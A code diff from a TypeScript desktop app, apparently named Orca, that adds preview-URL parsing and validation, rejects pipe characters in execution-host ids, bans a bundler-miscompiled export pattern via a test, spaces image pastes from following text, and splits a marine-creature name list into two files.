+  | 'unreadable'
+
+export type DocPreviewFileFailure = {
+  grantId: string
+  relativePath: string
+  reason: DocPreviewFileFailureReason
+}
+
+/**
+ * A download the preview partition refused. Why it carries no path: the document names the file it
+ * offers, and the notice this becomes is Orca's chrome — a payload with a path invites rendering
+ * page-authored text in the app's own UI, and a path equal to the entry document's would route a
+ * refused download into the panel that hides the page.
+ */
+export type DocPreviewDownloadBlocked = {
+  grantId: string
+  reason: 'download-blocked'
+}
+
+export type DocPreviewFailure = DocPreviewFileFailure | DocPreviewDownloadBlocked
+
+export const DOC_PREVIEW_GRANT_ID_PATTERN = /^[0-9a-f]{32}$/
+
+export function isDocPreviewGrantId(value: string): boolean {
+  return DOC_PREVIEW_GRANT_ID_PATTERN.test(value)
+}
+
+/** Encodes each segment separately so `/` keeps its separator meaning and `#`/`?` cannot split the path. */
+export function buildDocPreviewUrl(grantId: string, relativePath: string): string {
+  const segments = relativePath
+    .replace(/\\/g, '/')
+    .split('/')
+    .filter((segment) => segment.length > 0)
+    .map((segment) => encodeURIComponent(segment))
+  return `${DOC_PREVIEW_SCHEME}://${grantId}/${segments.join('/')}`
+}
+
+export type DocPreviewUrlTarget = {
+  grantId: string
+  /** Slash-joined, percent-decoded path segments; never leading-slashed. */
+  relativePath: string
+}
+
+/**
+ * Whether a string is, or is trying to look like, a preview URL. Deliberately a prefix test rather
+ * than a parse: this answers for text a document chose — a title Chromium fell back to, most of
+ * all — where anything carrying a grant must be refused even when it would not parse.
+ */
+export function isDocPreviewUrl(candidate: string): boolean {
+  return candidate.trimStart().toLowerCase().startsWith(`${DOC_PREVIEW_SCHEME}://`)
+}
+
+export function parseDocPreviewUrl(rawUrl: string): DocPreviewUrlTarget | null {
+  let parsed: URL
+  try {
+    parsed = new URL(rawUrl)
+  } catch {
+    return null
+  }
+  if (parsed.protocol !== `${DOC_PREVIEW_SCHEME}:`) {
+    return null
+  }
+  const grantId = parsed.hostname
+  if (!isDocPreviewGrantId(grantId)) {
+    return null
+  }
+  const segments: string[] = []
+  for (const rawSegment of parsed.pathname.split('/')) {
+    if (rawSegment.length === 0) {
+      continue
+    }
+    let segment: string
+    try {
+      segment = decodeURIComponent(rawSegment)
+    } catch {
+      return null
+    }
+    segments.push(segment)
+  }
+  return { grantId, relativePath: segments.join('/') }
+}
diff --git a/src/shared/execution-host.test.ts b/src/shared/execution-host.test.ts
index 75ed6210ff8..de895978f3b 100644
--- a/src/shared/execution-host.test.ts
+++ b/src/shared/execution-host.test.ts
@@ -120,3 +120,16 @@ describe('execution host identity', () => {
     )
   })
 })
+
+describe('execution host id delimiter invariant', () => {
+  it('rejects an unencoded pipe so a crafted id cannot rebind a worktree identity alias', () => {
+    // composeWorktreeHostIdentity splits at the first `|`, so `ssh:a|b` would resolve as `ssh:a`.
+    expect(parseExecutionHostId('ssh:a|b')).toBeNull()
+    expect(parseExecutionHostId('runtime:a|b')).toBeNull()
+    expect(parseExecutionHostId(toSshExecutionHostId('a|b'))).toEqual({
+      kind: 'ssh',
+      id: 'ssh:a%7Cb',
+      targetId: 'a|b'
+    })
+  })
+})
diff --git a/src/shared/execution-host.ts b/src/shared/execution-host.ts
index 18d584674bf..aacbc695cdc 100644
--- a/src/shared/execution-host.ts
+++ b/src/shared/execution-host.ts
@@ -81,6 +81,11 @@ export function parseExecutionHostId(value: string | null | undefined): ParsedEx
     if (!encoded) {
       return null
     }
+    // `|` must stay out of a host id: composeWorktreeHostIdentity uses it as its delimiter and
+    // splits at the first one, so an unencoded pipe would rebind an alias to a different host.
+    if (encoded.includes('|')) {
+      return null
+    }
     try {
       const targetId = decodeURIComponent(encoded)
       return targetId ? { kind: 'ssh', id: `ssh:${encoded}`, targetId } : null
@@ -93,6 +98,9 @@ export function parseExecutionHostId(value: string | null | undefined): ParsedEx
     if (!encoded) {
       return null
     }
+    if (encoded.includes('|')) {
+      return null
+    }
     try {
       const environmentId = decodeURIComponent(encoded)
       return environmentId ? { kind: 'runtime', id: `runtime:${encoded}`, environmentId } : null
diff --git a/src/shared/export-let-function-initializer-ban.test.ts b/src/shared/export-let-function-initializer-ban.test.ts
new file mode 100644
index 00000000000..a152ed61cf1
--- /dev/null
+++ b/src/shared/export-let-function-initializer-ban.test.ts
@@ -0,0 +1,176 @@
+import { join, resolve } from 'node:path'
+import { beforeAll, describe, expect, it } from 'vitest'
+import type { parseAst as ParseAstFn } from 'vite' with { 'resolution-mode': 'import' }
+import { scanSourceTree } from './source-scan/source-tree-scan'
+
+// Dynamic import: vite is ESM-only and this file typechecks under tsconfig.tc.cli.json's node16/CJS.
+let parseAst: typeof ParseAstFn
+
+beforeAll(async () => {
+  ;({ parseAst } = await import('vite'))
+})
+
+/**
+ * Ban `export let fn = <function>` tree-wide: rolldown const-folds the
+ * initializer into call sites and drops the setter's reassignment, so the
+ * bridged closure silently never runs in the built app (dev is fine). Use a
+ * module-local null-initialized impl var behind exported wrapper functions
+ * instead (see src/main/ipc/pty/delivery/debug.ts); null-initialized
+ * `export let` slots compile correctly and stay allowed. Detection uses
+ * vite/rolldown's own oxc parser so this test sees exactly what the bundler sees.
+ */
+
+type AstNode = {
+  type: string
+  start?: number
+  expression?: AstNode
+  expressions?: AstNode[]
+  declaration?: AstNode
+  kind?: string
+  declarations?: {
+    id?: { name?: string }
+    init?: AstNode | null
+    start?: number
+  }[]
+  specifiers?: { local?: { name?: string } }[]
+}
+
+/** Casts, parens, `!`, and comma sequences around the function don't change what rolldown folds. */
+function unwrapInitializer(node: AstNode): AstNode {
+  let current = node
+  for (;;) {
+    if (
+      current.expression &&
+      [
+        'ParenthesizedExpression',
+        'TSAsExpression',
+        'TSSatisfiesExpression',
+        'TSTypeAssertion',
+        'TSNonNullExpression'
+      ].includes(current.type)
+    ) {
+      current = current.expression
+      continue
+    }
+    // A sequence evaluates to its last expression — that's what gets folded.
+    const sequenceTail =
+      current.type === 'SequenceExpression' ? current.expressions?.at(-1) : undefined
+    if (sequenceTail) {
+      current = sequenceTail
+      continue
+    }
+    return current
+  }
+}
+
+export type FunctionInitializedExportLet = { name: string; line: number }
+
+export function findFunctionInitializedExportLets(
+  fileName: string,
+  sourceText: string
+): FunctionInitializedExportLet[] {
+  // Cheap prefilter: full parses only for files that could contain the pattern.
+  if (!/\bexport\b/.test(sourceText) || !/\blet\b/.test(sourceText)) {
+    return []
+  }
+  const lineOf = (offset: number): number => sourceText.slice(0, offset).split('\n').length
+  const program = parseAst(sourceText, {
+    lang: fileName.endsWith('.tsx') ? 'tsx' : 'ts'
+  }) as unknown as { body: AstNode[] }
+  const functionLets: (FunctionInitializedExportLet & { exported: boolean })[] = []
+  const exportedNames = new Set<string>()
+  const collectLets = (declaration: AstNode | undefined, exported: boolean): void => {
+    if (declaration?.type !== 'VariableDeclaration' || declaration.kind !== 'let') {
+      return
+    }
+    for (const declarator of declaration.declarations ?? []) {
+      const initializer = declarator.init && unwrapInitializer(declarator.init)
+      if (
+        initializer &&
+        ['ArrowFunctionExpression', 'FunctionExpression'].includes(initializer.type)
+      ) {
+        functionLets.push({
+          name: declarator.id?.name ?? '<destructured>',
+          line: lineOf(declarator.start ?? 0),
+          exported
+        })
+      }
+    }
+  }
+  for (const statement of program.body) {
+    if (statement.type === 'ExportNamedDeclaration') {
+      collectLets(statement.declaration, true)
+      // `let fn = () => {}; export { fn }` is the same live binding — same hazard.
+      for (const specifier of statement.specifiers ?? []) {
+        if (specifier.local?.name) {
+          exportedNames.add(specifier.local.name)
+        }
+      }
+      continue
+    }
+    collectLets(statement, false)
+  }
+  return functionLets
+    .filter((candidate) => candidate.exported || exportedNames.has(candidate.name))
+    .map(({ name, line }) => ({ name, line }))
+}
+
+describe('function-initialized export let ban', () => {
+  it('flags the shapes rolldown miscompiles', () => {
+    const flagged = [
+      'export let f = () => {}',
+      'export let f = function () {}',
+      'export let f = async () => {}',
+      'export let f = (() => {}) as () => void',
+      'export let f = (() => {})!',
+      'export let f = (0, () => {})',
+      'export let f: (id: string) => void = (_id) => {}',
+      'let f = () => {}\nexport { f }',
+      'let f = () => {}\nexport { f as g }'
+    ]
+    for (const source of flagged) {
+      expect(findFunctionInitializedExportLets('a.ts', source), source).toHaveLength(1)
+    }
+  })
+
+  it('reports the declaration line', () => {
+    const source = 'const a = 1\n\nexport let f = () => {}'
+    expect(findFunctionInitializedExportLets('a.ts', source)).toEqual([{ name: 'f', line: 3 }])
+  })
+
+  it('allows the safe shapes', () => {
+    const allowed = [
+      'export let f: (() => void) | null = null',
+      'export const f = () => {}',
+      'let f = () => {}',
+      'let f: (() => void) | null = null\nexport { f }',
+      'export let n = 0',
+      'export let f'
+    ]
+    for (const source of allowed) {
+      expect(findFunctionInitializedExportLets('a.ts', source), source).toEqual([])
+    }
+  })
+
+  const repoRoot = resolve(__dirname, '..', '..')
+  // Tests are not rolldown-bundled (scanSourceTree excludes them by default);
+  // several drive the banned shape on purpose.
+  const files = scanSourceTree(join(repoRoot, 'src'))
+
+  it('scans a plausible number of files', () => {
+    // A broken root or extension list would make the guard silently vacuous.
+    expect(files.length).toBeGreaterThan(500)
+  })
+
+  it('has no function-initialized export let in shipped code', () => {
+    const offenders = files.flatMap(({ relativePath, source }) =>
+      findFunctionInitializedExportLets(relativePath, source).map(
+        (offender) => `src/${relativePath}:${offender.line} (${offender.name})`
+      )
+    )
+    expect(
+      offenders,
+      'Rolldown miscompiles `export let fn = <function>` bridges: the initializer is folded into call sites and the setter reassignment is dropped in the built app. Use a module-local null-initialized impl var behind an exported wrapper function instead — see src/main/ipc/pty/delivery/debug.ts.'
+    ).toEqual([])
+  })
+})
diff --git a/src/shared/image-paste-following-text.test.ts b/src/shared/image-paste-following-text.test.ts
new file mode 100644
index 00000000000..ef46c4c7a9e
--- /dev/null
+++ b/src/shared/image-paste-following-text.test.ts
@@ -0,0 +1,31 @@
+import { describe, expect, it } from 'vitest'
+import {
+  IMAGE_PASTE_FOLLOWING_TEXT_SEPARATOR,
+  imagePasteWritesFollowedByText
+} from './image-paste-following-text'
+
+const IMAGE_A = '\x1b[200~/tmp/orca-paste-a.png\x1b[201~'
+const IMAGE_B = '\x1b[200~/tmp/orca-paste-b.png\x1b[201~'
+
+describe('imagePasteWritesFollowedByText', () => {
+  it('separates an attachment path from following prompt text by a single space', () => {
+    expect(imagePasteWritesFollowedByText([IMAGE_A], true)).toEqual([`${IMAGE_A} `])
+    expect(IMAGE_PASTE_FOLLOWING_TEXT_SEPARATOR).toBe(' ')
+  })
+
+  it('keeps an attachment-only send as the framed path with no trailing separator', () => {
+    expect(imagePasteWritesFollowedByText([IMAGE_A], false)).toEqual([IMAGE_A])
+  })
+
+  it('returns no writes when there are no image pastes', () => {
+    expect(imagePasteWritesFollowedByText([], true)).toEqual([])
+  })
+
+  it('keeps back-to-back image frames bare and separates only the final frame from prompt text', () => {
+    expect(imagePasteWritesFollowedByText([IMAGE_A, IMAGE_B], true)).toEqual([
+      IMAGE_A,
+      `${IMAGE_B} `
+    ])
+    expect(imagePasteWritesFollowedByText([IMAGE_A, IMAGE_B], false)).toEqual([IMAGE_A, IMAGE_B])
+  })
+})
diff --git a/src/shared/image-paste-following-text.ts b/src/shared/image-paste-following-text.ts
new file mode 100644
index 00000000000..4efd7363427
--- /dev/null
+++ b/src/shared/image-paste-following-text.ts
@@ -0,0 +1,25 @@
+// One space after a bracketed image paste so later typed/sent text cannot glue
+// onto the path (`…pngadd` → `…png add`). Desktop terminal drops already do this
+// when an image is followed by a non-image path.
+export const IMAGE_PASTE_FOLLOWING_TEXT_SEPARATOR = ' '
+
+export function separateImagePasteFromFollowingText(
+  framedImagePaste: string,
+  followedByNonImageInput: boolean
+): string {
+  return followedByNonImageInput
+    ? `${framedImagePaste}${IMAGE_PASTE_FOLLOWING_TEXT_SEPARATOR}`
+    : framedImagePaste
+}
+
+export function imagePasteWritesFollowedByText(
+  framedImagePastes: readonly string[],
+  followedByText: boolean
+): string[] {
+  return framedImagePastes.map((paste, index) =>
+    separateImagePasteFromFollowingText(
+      paste,
+      index === framedImagePastes.length - 1 && followedByText
+    )
+  )
+}
diff --git a/src/shared/marine-creature-names-primary.ts b/src/shared/marine-creature-names-primary.ts
new file mode 100644
index 00000000000..f23cb1267a4
--- /dev/null
+++ b/src/shared/marine-creature-names-primary.ts
@@ -0,0 +1,278 @@
+export const MARINE_CREATURE_NAMES_PRIMARY = [
+  'Nautilus',
+  'Seahorse',
+  'Starfish',
+  'Coral',
+  'Narwhal',
+  'Jellyfish',
+  'Octopus',
+  'Manta',
+  'Dolphin',
+  'Manatee',
+  'Cuttlefish',
+  'Anemone',
+  'Urchin',
+  'Triton',
+  'Nudibranch',
+  'Coelacanth',
+  'Oarfish',
+  'Beluga',
+  'Dugong',
+  'Porpoise',
+  'Stingray',
+  'Hammerhead',
+  'Wobbegong',
+  'Sawfish',
+  'Chimaera',
+  'Anglerfish',
+  'Viperfish',
+  'Dragonfish',
+  'Axolotl',
+  'Otter',
+  'Seadragon',
+  'Seahare',
+  'Squid',
+  'Argonaut',
+  'Sponge',
+  'Barnacle',
+  'Cowrie',
+  'Guitarfish',
+  'Lamprey',
+  'Isopod',
+  'Lionfish',
+  'Clownfish',
+  'Angelfish',
+  'Butterflyfish',
+  'Parrotfish',
+  'Pufferfish',
+  'Moonfish',
+  'Firefish',
+  'Unicornfish',
+  'Rainbowfish',
+  'Betta',
+  'Discus',
+  'Arowana',
+  'Koi',
+  'Piranha',
+  'Barracuda',
+  'Moray',
+  'Sunfish',
+  'Lanternfish',
+  'Archerfish',
+  'Mudskipper',
+  'Hatchetfish',
+  'Knifefish',
+  'Leaffish',
+  'Glassfish',
+  'Ropefish',
+  'Bichir',
+  'Tigerfish',
+  'Cardinalfish',
+  'Lungfish',
+  'Opah',
+  'Frogfish',
+  'Stonefish',
+  'Cutlassfish',
+  'Paddlefish',
+  'Arapaima',
+  'Mandarin',
+  'Blobfish',
+  'Thresher',
+  'Vaquita',
+  'Pipefish',
+  'Guppy',
+  'Tetra',
+  'Danio',
+  'Cichlid',
+  'Oscar',
+  'Gourami',
+  'Killifish',
+  'Rasbora',
+  'Pleco',
+  'Goldfish',
+  'Molly',
+  'Platy',
+  'Barb',
+  'Loach',
+  'Medaka',
+  'Pacu',
+  'Filefish',
+  'Boxfish',
+  'Cowfish',
+  'Surgeonfish',
+  'Damselfish',
+  'Wrasse',
+  'Goby',
+  'Blenny',
+  'Conger',
+  'Sculpin',
+  'Darter',
+  'Remora',
+  'Pilotfish',
+  'Trumpetfish',
+  'Cornetfish',
+  'Jawfish',
+  'Toadfish',
+  'Pearlfish',
+  'Driftfish',
+  'Lumpfish',
+  'Snailfish',
+  'Stickleback',
+  'Halfbeak',
+  'Snipefish',
+  'Pencilfish',
+  'Snakehead',
+  'Tripletail',
+  'Lookdown',
+  'Sweetlips',
+  'Squirrelfish',
+  'Soldierfish',
+  'Rabbitfish',
+  'Hawkfish',
+  'Bannerfish',
+  'Batfish',
+  'Chromis',
+  'Anthias',
+  'Fusilier',
+  'Sweeper',
+  'Emperor',
+  'Ponyfish',
+  'Kelpfish',
+  'Weever',
+  'Pearlside',
+  'Opaleye',
+  'Ballyhoo',
+  'Needlefish',
+  'Triggerfish',
+  'Gar',
+  'Tarpon',
+  'Sailfish',
+  'Conch',
+  'Walrus',
+  'Seal',
+  'Penguin',
+  'Hagfish',
+  'Gulper',
+  'Hydra',
+  'Krill',
+  'Salp',
+  'Tunicate',
+  'Crinoid',
+  'Polyp',
+  'Limpet',
+  'Whelk',
+  'Bowfin',
+  'Minnow',
+  'Gudgeon',
+  'Goldeye',
+  'Mooneye',
+  'Soapfish',
+  'Leatherjacket',
+  'Rudderfish',
+  'Sabrefish',
+  'Puffin',
+  'Albatross',
+  'Osprey',
+  'Pelican',
+  'Petrel',
+  'Gannet',
+  'Tern',
+  'Cormorant',
+  'Leatherback',
+  'Hawksbill',
+  'Loggerhead',
+  'Dottyback',
+  'Basslet',
+  'Gramma',
+  'Hamlet',
+  'Hogfish',
+  'Dartfish',
+  'Foxface',
+  'Shrimpfish',
+  'Pyrosome',
+  'Seapen',
+  'Medusa',
+  'Candlefish',
+  'Silverside',
+  'Shiner',
+  'Eelpout',
+  'Madtom',
+  'Shovelnose',
+  'Sandlance',
+  'Tubesnout',
+  'Marlin',
+  'Bonefish',
+  'Dace',
+  'Rudd',
+  'Spirula',
+  'Permit',
+  'Grunt',
+  'Trevally',
+  'Croaker',
+  'Drum',
+  'Ladyfish',
+  'Bullhead',
+  'Torpedo',
+  'Skate',
+  'Hermit',
+  'Fiddler',
+  'Fireworm',
+  'Tubeworm',
+  'Amphipod',
+  'Copepod',
+  'Pteropod',
+  'Seaslug',
+  'Swordtail',
+  'Bluegill',
+  'Pickerel',
+  'Redhorse',
+  'Logperch',
+  'Goblin',
+  'Catshark',
+  'Harlequin',
+  'Murex',
+  'Volute',
+  'Wentletrap',
+  'Nerite',
+  'Stargazer',
+  'Handfish',
+  'Flyingfish',
+  'Waspfish',
+  'Skua',
+  'Shearwater',
+  'Guillemot',
+  'Razorbill',
+  'Auk',
+  'Fulmar',
+  'Murre',
+  'Velvetfish',
+  'Prowfish',
+  'Sandperch',
+  'Bobtail',
+  'Chiton',
+  'Featherstar',
+  'Nereid',
+  'Siren',
+  'Kraken',
+  'Selkie',
+  'Leviathan',
+  'Wolffish',
+  'Wreckfish',
+  'Horseshoe',
+  'Orca',
+  'Cachalot',
+  'Rorqual',
+  'Grampus',
+  'Humpback',
+  'Bowhead',
+  'Finback',
+  'Sealion',
+  'Pinniped',
+  'Cetacean',
+  'Mako',
+  'Porbeagle',
+  'Dogfish',
+  'Spurdog',
+  'Tope',
+  'Bonnethead'
+] as const
diff --git a/src/shared/marine-creature-names-secondary.ts b/src/shared/marine-creature-names-secondary.ts
new file mode 100644
index 00000000000..7c33ccfbab6
--- /dev/null
+++ b/src/shared/marine-creature-names-secondary.ts
@@ -0,0 +1,278 @@
+export const MARINE_CREATURE_NAMES_SECONDARY = [
+  'Sixgill',
+  'Sevengill',
+  'Angelshark',
+  'Houndshark',
+  'Megamouth',
+  'Cookiecutter',
+  'Bramble',
+  'Ghostshark',
+  'Sandtiger',
+  'Galeocerdo',
+  'Nursehound',
+  'Cownose',
+  'Devilray',
+  'Eagleray',
+  'Butterflyray',
+  'Numbfish',
+  'Stingaree',
+  'Mantaray',
+  'Tuna',
+  'Albacore',
+  'Bonito',
+  'Skipjack',
+  'Wahoo',
+  'Kingfish',
+  'Mackerel',
+  'Cero',
+  'Dorado',
+  'Mahimahi',
+  'Escolar',
+  'Pomfret',
+  'Butterfish',
+  'Cod',
+  'Haddock',
+  'Pollock',
+  'Whiting',
+  'Hake',
+  'Ling',
+  'Cusk',
+  'Burbot',
+  'Saithe',
+  'Sablefish',
+  'Lingcod',
+  'Greenling',
+  'Rockling',
+  'Halibut',
+  'Flounder',
+  'Sole',
+  'Plaice',
+  'Turbot',
+  'Brill',
+  'Dab',
+  'Fluke',
+  'Megrim',
+  'Sanddab',
+  'Herring',
+  'Sardine',
+  'Anchovy',
+  'Sprat',
+  'Pilchard',
+  'Menhaden',
+  'Shad',
+  'Alewife',
+  'Salmon',
+  'Trout',
+  'Char',
+  'Grayling',
+  'Steelhead',
+  'Kokanee',
+  'Chinook',
+  'Coho',
+  'Sockeye',
+  'Taimen',
+  'Huchen',
+  'Cisco',
+  'Inconnu',
+  'Vendace',
+  'Whitefish',
+  'Perch',
+  'Bass',
+  'Snapper',
+  'Grouper',
+  'Seabass',
+  'Tilefish',
+  'Bream',
+  'Porgy',
+  'Sheepshead',
+  'Pinfish',
+  'Scup',
+  'Tautog',
+  'Sander',
+  'Zander',
+  'Walleye',
+  'Sauger',
+  'Ruffe',
+  'Comber',
+  'Hind',
+  'Coney',
+  'Graysby',
+  'Margate',
+  'Pompano',
+  'Amberjack',
+  'Yellowtail',
+  'Scad',
+  'Runner',
+  'Mullet',
+  'Goatfish',
+  'Threadfin',
+  'Snook',
+  'Barramundi',
+  'Milkfish',
+  'Mojarra',
+  'Weakfish',
+  'Corbina',
+  'Queenfish',
+  'Kahawai',
+  'Tilapia',
+  'Cunner',
+  'Tuskfish',
+  'Razorfish',
+  'Tang',
+  'Porcupinefish',
+  'Burrfish',
+  'Eel',
+  'Wolfeel',
+  'Gardeneel',
+  'Ribboneel',
+  'Cuskeel',
+  'Catfish',
+  'Cory',
+  'Ratfish',
+  'Elephantfish',
+  'Goosefish',
+  'Monkfish',
+  'Sargassum',
+  'Coffinfish',
+  'Seadevil',
+  'Scorpionfish',
+  'Rockfish',
+  'Cabezon',
+  'Rosefish',
+  'Redfish',
+  'Bocaccio',
+  'Thornyhead',
+  'Gurnard',
+  'Searobin',
+  'Fangtooth',
+  'Bristlemouth',
+  'Barreleye',
+  'Spookfish',
+  'Telescopefish',
+  'Lancetfish',
+  'Tripodfish',
+  'Spiderfish',
+  'Daggertooth',
+  'Pearleye',
+  'Ridgehead',
+  'Snaggletooth',
+  'Sturgeon',
+  'Sterlet',
+  'Kaluga',
+  'Cockle',
+  'Mussel',
+  'Clam',
+  'Oyster',
+  'Scallop',
+  'Abalone',
+  'Periwinkle',
+  'Cerith',
+  'Turban',
+  'Tellin',
+  'Geoduck',
+  'Quahog',
+  'Piddock',
+  'Shipworm',
+  'Lobster',
+  'Crayfish',
+  'Shrimp',
+  'Prawn',
+  'Langostino',
+  'Langouste',
+  'Yabby',
+  'Marron',
+  'Dungeness',
+  'Seafan',
+  'Staghorn',
+  'Elkhorn',
+  'Hydroid',
+  'Zoanthid',
+  'Gorgonian',
+  'Seanettle',
+  'Moonjelly',
+  'Sanddollar',
+  'Brittlestar',
+  'Basketstar',
+  'Sunstar',
+  'Seacucumber',
+  'Seabiscuit',
+  'Hearturchin',
+  'Bristleworm',
+  'Featherduster',
+  'Lugworm',
+  'Sandworm',
+  'Palolo',
+  'Arrowworm',
+  'Acornworm',
+  'Flatworm',
+  'Ribbonworm',
+  'Booby',
+  'Frigatebird',
+  'Tropicbird',
+  'Noddy',
+  'Kittiwake',
+  'Dovekie',
+  'Shag',
+  'Anhinga',
+  'Skimmer',
+  'Jaeger',
+  'Oystercatcher',
+  'Eider',
+  'Scoter',
+  'Merganser',
+  'Brant',
+  'Ridley',
+  'Flatback',
+  'Terrapin',
+  'Seasnake',
+  'Diatom',
+  'Plankton',
+  'Larvacean',
+  'Doliolid',
+  'Kelp',
+  'Seagrass',
+  'Eelgrass',
+  'Dulse',
+  'Bladderwrack',
+  'Mola',
+  'Scylla',
+  'Charybdis',
+  'Cetus',
+  'Proteus',
+  'Glaucus',
+  'Hippocamp',
+  'Jormungandr',
+  'Hafgufa',
+  'Kelpie',
+  'Merrow',
+  'Nuckelavee',
+  'Afanc',
+  'Rusalka',
+  'Vodyanoy',
+  'Umibozu',
+  'Isonade',
+  'Ningyo',
+  'Mizuchi',
+  'Naga',
+  'Makara',
+  'Bunyip',
+  'Taniwha',
+  'Marakihau',
+  'Lusca',
+  'Undine',
+  'Nixie',
+  'Melusine',
+  'Ondine',
+  'Tiamat',
+  'Dagon',
+  'Aspidochelone',
+  'Capricorn',
+  'Merfolk',
+  'Merman',
+  'Mermaid',
+  'Timingila',
+  'Bakekujira',
+  'Jiaolong',
+  'Encantado',
+  'Hraesvelg'
+] as const
diff --git a/src/shared/marine-creatures.ts b/src/shared/marine-creatures.ts
index 3402be6694d..305afb82469 100644
--- a/src/shared/marine-creatures.ts
+++ b/src/shared/marine-creatures.ts
@@ -1,560 +1,10 @@
-/* eslint-disable max-lines -- Curated marine-creature name corpus; one entry per line is the readable format for a flat data list. */
+import { MARINE_CREATURE_NAMES_PRIMARY } from './marine-creature-names-primary'
+import { MARINE_CREATURE_NAMES_SECONDARY } from './marine-creature-names-secondary'
+
 // Why: the auto-generated workspace name pool lives in shared (not renderer)
 // so the main process can recognize an Orca-generated branch name when deciding
 // whether auto-rename-from-work is allowed to overwrite it.
 export const MARINE_CREATURES = [
-  'Nautilus',
-  'Seahorse',
-  'Starfish',
-  'Coral',
-  'Narwhal',
-  'Jellyfish',
-  'Octopus',
-  'Manta',
-  'Dolphin',
-  'Manatee',
-  'Cuttlefish',
-  'Anemone',
-  'Urchin',
-  'Triton',
-  'Nudibranch',
-  'Coelacanth',
-  'Oarfish',
-  'Beluga',
-  'Dugong',
-  'Porpoise',
-  'Stingray',
-  'Hammerhead',
-  'Wobbegong',
-  'Sawfish',
-  'Chimaera',
-  'Anglerfish',
-  'Viperfish',
-  'Dragonfish',
-  'Axolotl',
-  'Otter',
-  'Seadragon',
-  'Seahare',
-  'Squid',
-  'Argonaut',
-  'Sponge',
-  'Barnacle',
-  'Cowrie',
-  'Guitarfish',
-  'Lamprey',
-  'Isopod',
-  'Lionfish',
-  'Clownfish',
-  'Angelfish',
-  'Butterflyfish',
-  'Parrotfish',
-  'Pufferfish',
-  'Moonfish',
-  'Firefish',
-  'Unicornfish',
-  'Rainbowfish',
-  'Betta',
-  'Discus',
-  'Arowana',
-  'Koi',
-  'Piranha',
-  'Barracuda',
-  'Moray',
-  'Sunfish',
-  'Lanternfish',
-  'Archerfish',
-  'Mudskipper',
-  'Hatchetfish',
-  'Knifefish',
-  'Leaffish',
-  'Glassfish',
-  'Ropefish',
-  'Bichir',
-  'Tigerfish',
-  'Cardinalfish',
-  'Lungfish',
-  'Opah',
-  'Frogfish',
-  'Stonefish',
-  'Cutlassfish',
-  'Paddlefish',
-  'Arapaima',
-  'Mandarin',
-  'Blobfish',
-  'Thresher',
-  'Vaquita',
-  'Pipefish',
-  'Guppy',
-  'Tetra',
-  'Danio',
-  'Cichlid',
-  'Oscar',
-  'Gourami',
-  'Killifish',
-  'Rasbora',
-  'Pleco',
-  'Goldfish',
-  'Molly',
-  'Platy',
-  'Barb',
-  'Loach',
-  'Medaka',
-  'Pacu',
-  'Filefish',
-  'Boxfish',
-  'Cowfish',
-  'Surgeonfish',
-  'Damselfish',
-  'Wrasse',
-  'Goby',
-  'Blenny',
-  'Conger',
-  'Sculpin',
-  'Darter',
-  'Remora',
-  'Pilotfish',
-  'Trumpetfish',
-  'Cornetfish',
-  'Jawfish',
-  'Toadfish',
-  'Pearlfish',
-  'Driftfish',
-  'Lumpfish',
-  'Snailfish',
-  'Stickleback',
-  'Halfbeak',
-  'Snipefish',
-  'Pencilfish',
-  'Snakehead',
-  'Tripletail',
-  'Lookdown',
-  'Sweetlips',
-  'Squirrelfish',
-  'Soldierfish',
-  'Rabbitfish',
-  'Hawkfish',
-  'Bannerfish',
-  'Batfish',
-  'Chromis',
-  'Anthias',
-  'Fusilier',
-  'Sweeper',
-  'Emperor',
-  'Ponyfish',
-  'Kelpfish',
-  'Weever',
-  'Pearlside',
-  'Opaleye',
-  'Ballyhoo',
-  'Needlefish',
-  'Triggerfish',
-  'Gar',
-  'Tarpon',
-  'Sailfish',
-  'Conch',
-  'Walrus',
-  'Seal',
-  'Penguin',
-  'Hagfish',
-  'Gulper',
-  'Hydra',
-  'Krill',
-  'Salp',
-  'Tunicate',
-  'Crinoid',
-  'Polyp',
-  'Limpet',
-  'Whelk',
-  'Bowfin',
-  'Minnow',
-  'Gudgeon',
-  'Goldeye',
-  'Mooneye',
-  'Soapfish',
-  'Leatherjacket',
-  'Rudderfish',
-  'Sabrefish',
-  'Puffin',
-  'Albatross',
-  'Osprey',
-  'Pelican',
-  'Petrel',
-  'Gannet',
-  'Tern',
-  'Cormorant',
-  'Leatherback',
-  'Hawksbill',
-  'Loggerhead',
-  'Dottyback',
-  'Basslet',
-  'Gramma',
-  'Hamlet',
-  'Hogfish',
-  'Dartfish',
-  'Foxface',
-  'Shrimpfish',
-  'Pyrosome',
-  'Seapen',
-  'Medusa',
-  'Candlefish',
-  'Silverside',
-  'Shiner',
-  'Eelpout',
-  'Madtom',
-  'Shovelnose',
-  'Sandlance',
-  'Tubesnout',
-  'Marlin',
-  'Bonefish',
-  'Dace',
-  'Rudd',
-  'Spirula',
-  'Permit',
-  'Grunt',
-  'Trevally',
-  'Croaker',
-  'Drum',
-  'Ladyfish',
-  'Bullhead',
-  'Torpedo',
-  'Skate',
-  'Hermit',
-  'Fiddler',
-  'Fireworm',
-  'Tubeworm',
-  'Amphipod',
-  'Copepod',
-  'Pteropod',
-  'Seaslug',
-  'Swordtail',
-  'Bluegill',
-  'Pickerel',
-  'Redhorse',
-  'Logperch',
-  'Goblin',
-  'Catshark',
-  'Harlequin',
-  'Murex',
-  'Volute',
-  'Wentletrap',
-  'Nerite',
-  'Stargazer',
-  'Handfish',
-  'Flyingfish',
-  'Waspfish',
-  'Skua',
-  'Shearwater',
-  'Guillemot',
-  'Razorbill',
-  'Auk',
-  'Fulmar',
-  'Murre',
-  'Velvetfish',
-  'Prowfish',
-  'Sandperch',
-  'Bobtail',
-  'Chiton',
-  'Featherstar',
-  'Nereid',
-  'Siren',
-  'Kraken',
-  'Selkie',
-  'Leviathan',
-  'Wolffish',
-  'Wreckfish',
-  'Horseshoe',
-  'Orca',
-  'Cachalot',
-  'Rorqual',
-  'Grampus',
-  'Humpback',
-  'Bowhead',
-  'Finback',
-  'Sealion',
-  'Pinniped',
-  'Cetacean',
-  'Mako',
-  'Porbeagle',
-  'Dogfish',
-  'Spurdog',
-  'Tope',
-  'Bonnethead',
-  'Sixgill',
-  'Sevengill',
-  'Angelshark',
-  'Houndshark',
-  'Megamouth',
-  'Cookiecutter',
-  'Bramble',
-  'Ghostshark',
-  'Sandtiger',
-  'Galeocerdo',
-  'Nursehound',
-  'Cownose',
-  'Devilray',
-  'Eagleray',
-  'Butterflyray',
-  'Numbfish',
-  'Stingaree',
-  'Mantaray',
-  'Tuna',
-  'Albacore',
-  'Bonito',
-  'Skipjack',
-  'Wahoo',
